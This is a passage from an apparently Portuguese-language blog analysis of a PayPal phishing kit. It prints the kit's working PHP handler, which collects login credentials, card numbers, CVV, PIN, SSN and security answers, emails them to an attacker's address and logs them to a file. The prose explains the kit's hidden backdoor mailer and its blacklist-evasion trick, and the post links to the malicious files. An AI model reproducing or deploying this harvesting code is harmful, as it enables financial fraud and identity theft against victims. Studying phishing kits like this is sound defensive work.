 if(empty($_POST['defaultzip'])){  
 $defaultzip = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['bday'])){  
 $bday = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['bmonth'])){  
 $bmonth = 'error';  
 $error = 0;  
 }  
 if(empty($_POST['byear'])){  
 $byear = 'error';  
 $error = 0;  
 }  
 if( empty($_POST['defaultexpmonth']) or empty($_POST['defaultexpyear'])){  
 $defaultexpmonth = 'error';  
 $error = 0;  
 }  
 if( ($_POST['defaultexpmonth'] == 01 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 02 and $_POST['defaultexpyear'] == 11) or ($_POST['defaultexpmonth'] == 03 and $_POST['defaultexpyear'] == 11) ){  
 $defaultexpmonth = 'error';  
 $error = 0;  
 }  
 if( $error != 0 ){  
 $message .= "--------------ReZulT SpAm-----------------------\n";  
 $message .= "Email Address         : ".$_SESSION['emaill']."\n";  
 $message .= "Password           : ".$_SESSION['passwordd']."\n";  
 $message .= "IP              : ".$ip."\n";  
 $message .= "Browser            : ".$browser."\n";  
 $message .= "\n";  
 $message .= "---------------------------\n";  
 $message .= "\n";  
 $message .= "Full Name           : ".$_POST['fullname']."\n";  
 $message .= "Card Type           : ".$_POST['card_type']."\n";  
 $message .= "Card Number          : ".$_POST['defaultcardnumber']."\n";  
 $message .= "Expiration Date        : ".$_POST['defaultexpmonth']."/";  
 $message .= "".$_POST['defaultexpyear']."\n";  
 $message .= "Card Verification Number   : ".$_POST['defaultcvv2']."\n";  
 $message .= "ATM PIN            : ".$_POST['PIN']."\n";  
 $message .= "Address 1           : ".$_POST['defaultaddress1']."\n";  
 $message .= "Address 2           : ".$_POST['defaultaddress2']."\n";  
 $message .= "City             : ".$_POST['defaultcity']."\n";  
 $message .= "State             : ".$_POST['defaultstate']."\n";  
 $message .= "ZIP Code           : ".$_POST['defaultzip']."\n";  
 $message .= "Country            : ".$_POST['defaultcountry']."\n";  
 $message .= "Telephone           : ".$_POST['userphone']."\n";  
 $message .= "Social Security Number    : ".$_POST['ssn']."\n";  
 $message .= "Date Of Birth         : ".$_POST['bday']."/";  
 $message .= "".$_POST['bmonth']."/";  
 $message .= "".$_POST['byear']."\n";  
 $message .= "Driver's License       : ".$_POST['drl']."\n";  
 $message .= "\n";  
 $message .= "---------------------------\n";  
 $message .= "\n";  
 $message .= "Security Question 1      : ".$_POST['question1']."\n";  
 $message .= "Answer 1           : ".$_POST['answer1']."\n";  
 $message .= "Security Question 2      : ".$_POST['question2']."\n";  
 $message .= "Answer 2           : ".$_POST['answer2']."\n";  
 $message .= "IP              : ".$ip."\n";  
 $message .= "\n\n";  
 $message .= "---------------The-Big-hichamhack@live.fr------------------------------\n";  
 $to = "d-h@live.fr"; // Put here Your E-Mail...   /* ############Scam Made By AdAmMeD################ */  
 $subject = "PayPal:".$ip;  
 $headers = "From: <d-h@live.fr>";  
 $headers = "MIME-Version: 1.0\n";  
 $from = "PayPal Monster";  
 mail($to,$subject,$message,$headers,$from);  
 require(HEADING_TARGET);  
 header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e263663d3faee8d4b3d02051cb40a5393d96fec50118c72");  
 }  
 }  
 $file= fopen("../../usernames.txt", "a");  
 fwrite($file, "-----------------------PayPal Spam Result-----------------------------\n");  
 fwrite($file, "Email Address         : ".$_SESSION['emaill']."\n");  
 fwrite($file, "Password           : ".$_SESSION['passwordd']."\n");  
 fwrite($file, "IP              : ".$ip."\n");  
 fwrite($file, "Browser            : ".$browser."\n");  
 fwrite($file, "\n");  
 fwrite($file, "--------------Credit Card Result-------------\n");  
 fwrite($file, "----------------------------------------------\n");  
 fwrite($file, "\n");  
 fwrite($file, "Security Question 1      : ".$_POST['question1']."\n");  
 fwrite($file, "Answer 1           : ".$_POST['answer1']."\n");  
 fwrite($file, "Security Question 2      : ".$_POST['question2']."\n");  
 fwrite($file, "Answer 2           : ".$_POST['answer2']."\n");  
 fwrite($file, "IP              : ".$ip."\n");  
 fwrite($file, "\n\n");  
 fwrite($file, "---------------The Big Cave & V!RuS MaRoC Meknes Spammer--------------\n");  
 fclose($file);  
 ?>  

Tudo o que é inserido nessa página é enviado para ela mesma e esse PHP trata esses dados. Primeiro há validações simples para verificar se realmente os dados foram inseridos, caso esteja tudo certo é criado um e-mail com as informações.

E conseguimos ver para quem os dados furtados são enviados:

$to = "d-h@live.fr"; // Put here Your E-Mail...

O código até ajuda falando onde deve ser inserido o e-mail do golpista. Isso pode ser uma pista de que o código desse phishing foi feito por alguém e distribuído ou vendido para outros usarem.

E há outra coisa que também dá pistas disso, é algo que pode passar desapercebido para quem não analisar o código com calma. Nesse código antes de fazer as validações há essa linha:

require(PR_TARGET."header.php");

O require é a mesma coisa que o include. Aqui ele está inserindo a página header.php que está localizada no caminho da variável PR_TARGET que ele havia registrado anteriormente como variável global (lembra?).

O codigo da header.php é esse:


Ela por sua vez está definindo outra variável global chamada "HEADING_TARGET" que tem como valor o caminho de outra página:

“../WEBSCR-640-20101004-1/js/lib/min/require.php”

E após a função de envio de e-mail, há essa linha:

require(HEADING_TARGET);

Esse segundo require vai inserir essa segunda página require.php que possui esse código:


Essa página só serve para enviar um e-mail novamente com as informações capturas. O campo “To” do e-mail vemos que é para o mesmo endereço. Mas por que o atacante faria todo esse código de "página chamando página" para conseguir mandar o e-mail duas vezes? Seria muito mais fácil adicionar mais uma linha da função mail() do PHP.

Isso ao meu ver trata-se do que é conhecido como caixa 2. A pessoa que criou o phishing programou todo o código e disponibilizou para download para qualquer um baixar, ou vendeu, ou trocou. E ainda dá até dica dentro do código falando onde eles devem colocar o endereço de e-mail para receber os dados capturados.

Só que também inseriu de uma forma relativamente oculta essa função de enviar um e-mail pra ele todas as vezes que algum dado fosse capturado. Os menos avisados ou com menor conhecimento de PHP fazem download do código, alteram para o endereço de e-mail deles na função principal, hospedam em algum lugar e esperam os resultados. Sem saber que para cada e-mail que eles recebem o outro também vai receber, ou seja, é o caixa 2 do golpe.

Essa é uma característica comum de códigos maliciosos que são disponibilizados para download, o código pode até ser gratuito mas também pode ter funções ocultas.

Porém nesse caso vimos que os endereços de e-mails tanto do código principal quanto daquele mais oculto são os mesmos. Isso pode ser porque esse atacante tenha descoberto esse esquema e assim também inseriu o e-mail dele lá.

Voltando ao código PHP principal...

Após enviar os dois e-mails é feito um redirecionamento para a página done.php através da linha abaixo:

header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e26...");

Vemos também que caso os dados digitados no formulário não passem nas validações, há um código que salva em um TXT algumas informações já capturadas no golpe. Isso deve ser para garantir que pelo menos o usuário e senha digitados sejam capturados.

Finalizando

Por fim, o redirecionamento anterior levou a execução para a página done.php. Essa tem a finalidade de passar um pouco mais de credibilidade ao golpe, exibindo algumas mensagens de sucesso e informações de data e hora. Ela por sua vez redireciona automaticamente após 4 segundos para uma outra página através dessa linha:

<META http-EQUIV="refresh" content="4; URL=../dir.php">

E é na dir.php que entendemos o uso daquele diretório “Limit”. Segue o código:


É exibida a mensagem que está processando e enquanto isso o diretório “Limit” é renomeado. Receberá o incremento de um em seu nome e no nosso caso chamará “Limit10”. E por fim é feito redirecionamento para o site do PayPal verdadeiro.

Consigo enxergar duas funcionalidades para essa mudança de nome: a primeira é que de certa forma o número do diretório serve como um contador de vítimas, e a segunda é que a URL dos arquivos do golpe sempre estará mudando, se ela for colocada em uma blacklist como “Limit9”, quando passar para “Limit10” já estará livre da blacklist.

Informações Adicionais

No servidor onde estava hospedado esse phishing havia outros códigos maliciosos, hacker tools e páginas de defacement. O index principal era o defacement abaixo:


Parece que o site foi desfigurado por esse grupo de Bangladesh e depois vieram outros e fizeram a festa copiando tools e hospedando phishing. Porém isso só é possível afirmar com certeza se for feita uma perícia forense no computador.

Também havia outras cópias do mesmo phishing nesse servidor, um tipo de pasta só armazenava o PHP inicial que faz o redirecionamento e o outro tipo armazena os arquivos principais do golpe.


Interessante que em algumas dessas outras pastas havia um endereço de e-mail diferente para onde os dados eram enviados:

m4st3r007@hotmail.com


E as pastas “Limit” também possuem numerações diferentes, a mais alta que encontrei foi 100.

É isso aí, qualquer dúvida ou sugestão só deixar um comentário. Para novidades também podem seguir o blog no twitter @crimescibernet.

[Post atualizado em 16/10/2012]

Para quem gostou da análise e queira reproduzí-la, estou disponibilizando todos os arquivos originais desse phishing. Ressalto que os arquivos são maliciosos e podem causar danos em seu computador ou de terceiros. Faça download estando ciente disso e APENAS utilize para estudos, se essa não for sua intenção não faço o download. Não me responsabilizo por qualquer dano ou mau uso.

O download pode ser feito através desse link. A senha do arquivo é: infected.
Related Posts Plugin for WordPress, Blogger...